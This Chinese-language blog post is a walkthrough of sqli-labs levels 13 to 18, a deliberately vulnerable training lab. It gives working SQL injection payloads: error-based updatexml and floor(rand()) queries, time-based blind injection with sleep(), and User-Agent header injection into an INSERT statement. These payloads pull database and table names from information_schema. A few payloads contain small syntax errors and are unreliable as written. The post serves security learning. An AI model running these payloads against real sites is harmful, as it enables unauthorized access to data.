sqli-labs.less13-18过关记录

  • Pass13

和之前pass5、6一样,用单引号和括号闭合

输入admin') order by 3#报错

admin') order by 2#返回正常

 

 查库:admin') union select count(*),concat((select database()),floor(rand()*2)) as a from information_schema.schemata group by a#

 

 查表:admin') union select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand()*2)) as a from information_schema.schemata group by a

 

  • Pass14

使用双引号闭合,其他语句相同

 

  •  Pass 15

由于是盲注,直接找成功标志,输入admin' order by 3#返回登录失败图片

 

 输入admin' order by 2#返回登录成功图片

 

 可以在html中查看图片名为flag.jpg这个就是我们的成功条件

 

 通过python脚本的requests.post来注入

 

 查表名

 

 时间盲注语句:1' and if ((substr(select database()),1,1)='s'),sleep(6),1)#尽量吧sleep时间设置多点,避免网络问题

  •  Pass16

和15差不多,使用双引号和括号闭合

 

  •  Pass17

这一关可以利用两个函数,分别是updatexml()和extractvalue()

先说updatexml(),语法格式为updatexmle(xml_document,xpath_string,new_value);

xml_document是string格式,xml文档对象的名称

xpath_string是xpath_string格式的字符串(主要利用这个参数进行报错注入)

new_value替换查找到符合条件的数据

注入语句为 updatexml(1.concat('~',(select database()),'~'),1)

concat函数将字符串拼接在一起,这不符合xpath语法规则,返回错误的同时将中间select语句的查询结果顺带返回

 

 返回注入场景,这里和之前有点不同的是注入点在passwd处,看一下代码

在接受到post的uname会执行一个check_input的函数,首先进行了一个是否为空的检查,然后通过substr之截取15位字符,再下面到get_magic_qutes_gpc(),这个函数配合php环境配置magic_quotes_gpc,如果用户输入数据带有单引号, 双引号, 反斜线 and 空字符会自动转为含有反斜线的溢出字符,在通过get_magic_qutes_gpc()将数据中的所有反斜线去除

然后到ctype_digit判断是否为数字,如果不是就加上一对单引号

 

 再反观passwd参数,没有任何过滤语句直接套入了sql语句总

 

再结合上面的注入语句:1' and updatexml(1,concat('~',(select database()),'~'),1)#成功报错

 查表,可以用group_concat()将查询的结果显示在一行里面

 

 

  • Pass18

点开发现多了一个your ip

 

 再看源码,发现uname和passwd都执行了一次数据检查函数

 

 再往下看发现有个$uagent被直接带入了sql语句中

 

 $_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。

参考:https://www.jb51.net/article/42428.htm

 

对源码进行审计可以发现,只有当用户名和密码都正确的时候才能进入下一步对uagent的插入语句。爆破yyds。。。

 

 这里我们知道账号就直接进行注入,在uagent输入一个单引号引发报错

 

 闭合语句1',1,1)#

 

 

 这里由于是insert语句就不能通过select语句注入,可以使用17关的updatexml来注入

注入语句:1',1,updatexml(1,concat('~',(select database()),'~'),1))#

 

 查表:1',1,updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),1))#

 

posted @ 2021-11-10 17:16  C1aySrc  阅读(55)  评论(0)    收藏  举报